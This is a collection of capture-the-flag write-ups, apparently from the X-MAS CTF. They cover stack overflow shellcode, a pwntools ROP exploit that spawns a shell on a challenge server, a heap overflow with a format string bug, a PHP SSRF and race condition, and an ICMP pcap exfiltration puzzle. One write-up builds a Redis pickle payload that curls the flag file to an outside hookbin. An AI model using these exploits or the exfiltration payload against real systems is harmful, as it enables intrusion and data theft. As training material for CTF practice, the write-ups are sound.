Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Notes:
The binary has no mitigation, so we can do a stack bof and write our shellcode somewhere on the stack
fgets() reads in 0x47 bytes from the user, the two bytes from the base pointer has to be 0xe4ff, which is the opcode for jmp esp (hint that a pivot is needed)
Since we are limited on stack space, we could overwrite the return address with a jmp rsp to pivot to the beginning of our buffer to execute system(‘/bin/sh’) shellcode
Description: Are you ready for aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/shawhkj\xffwaa ?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Notes:
memset(0x601068, 0, 9) gives us 9 bytes to write to in the bss
gets() -> buffer overflow
NX is enabled so can’t execute on stack
No PIE, can use ropchain to write ‘/bin/sh’ to bss and pass bss address into system
mprotect is used here to check input for presence of ‘sh’ and ‘cat’.
The approach I took was to build a ropchain to use gets() to write ‘/bin/sh’ to the bss and then pass that address to system. The only gadget needed for this was a pop rdi ; ret
PoC:
from pwn import *
POP_RDI_RET = p64(0x00000000004008e3)
RET = p64(0x00000000004005e6)
def create_payload(junk):
payload = b''
payload += junk
payload += POP_RDI_RET
payload += p64(0x601068) # bss addr
payload += p64(0x400630) # gets
payload += RET
payload += POP_RDI_RET
payload += p64(0x601068) # bss addr
payload += RET
payload += RET
payload += RET
payload += p64(0x400610) # system
return payload
def send_payload(io, payload):
io.sendlineafter('Christmas?', payload)
def main():
isRemote = False
if isRemote:
io = remote('challs.xmas.htsp.ro', 2001)
else:
io = process(['./chall'])
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './chall'
isDebug = False
if isDebug:
gdb.attach(io, '''
b *0x400852
b *0x400875
''')
junk = b'A'*72
payload = create_payload(junk)
send_payload(io, payload)
# write to bss
io.sendline(b'/bin/sh\x00')
io.interactive()
if __name__ == "__main__":
main()
# X-MAS{l00ks_lik3_y0u_4re_r3ady}
Use heap overflow on user->name to write into user->display
user->display is where the fmt string bug is located
Find address of *user with format string
target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
Send payload to write to address of user->qi (from step 3) after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display
Heap Overflow
typedef struct moron
{
int qi;
char sex;
char name[64];
display[64];
}person
Person *user = new Moron;
// Heap overflow to override display
scanf("%s", user->name)
Description: All files are included. Source code is the key.
When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:
After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.
It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??
Bypassing the first if statement, we just need user to be anything other than ‘admin’
Bypassing the second, we need to use secret[]=1 because it will evaluate to null which breaks the condition
Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.
We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.
Description: cache all the things (this is python3)
This challenge provides us with source code:
We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:
It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.
So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.
import pickle
import os
exp = open("exploit", "wb")
exp.write(b'!')
class RCE(dict):
def __reduce__(self):
cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt' https://hookb.in/9XgpbdRPnDS600eMoRR6")
return os.system, (cmd,)
exp.write(pickle.dumps(RCE()))
exp.close()
There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:
After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through:
Description: We got hacked! Can you see what they took?
We are given a pcap file, when analyzing it, we see that it is full of ICMP information. Looking at the first packet, we see that it is the beginning of a PNG header:
The last packet also contains an IEND, which marks the end of a PNG file. So it looks like they are sending parts of a PNG for each packet. The only issue is that we have to parse and filter our data to capture the correct bytes.
Since the requests and replies are the same, using tshark to extract the unique data sections of the pcap, we can get a better picture for the png.
Our goal is to grab the correct position to get a valid picture, so using a valid png, we use this as a guide to get the correct bytes:
Grabbing the correct first line from the pcap data and iterating down to the end, we are able to form a png that gives us a flag:
Perhaps I could’ve parsed it better..but it is still readable.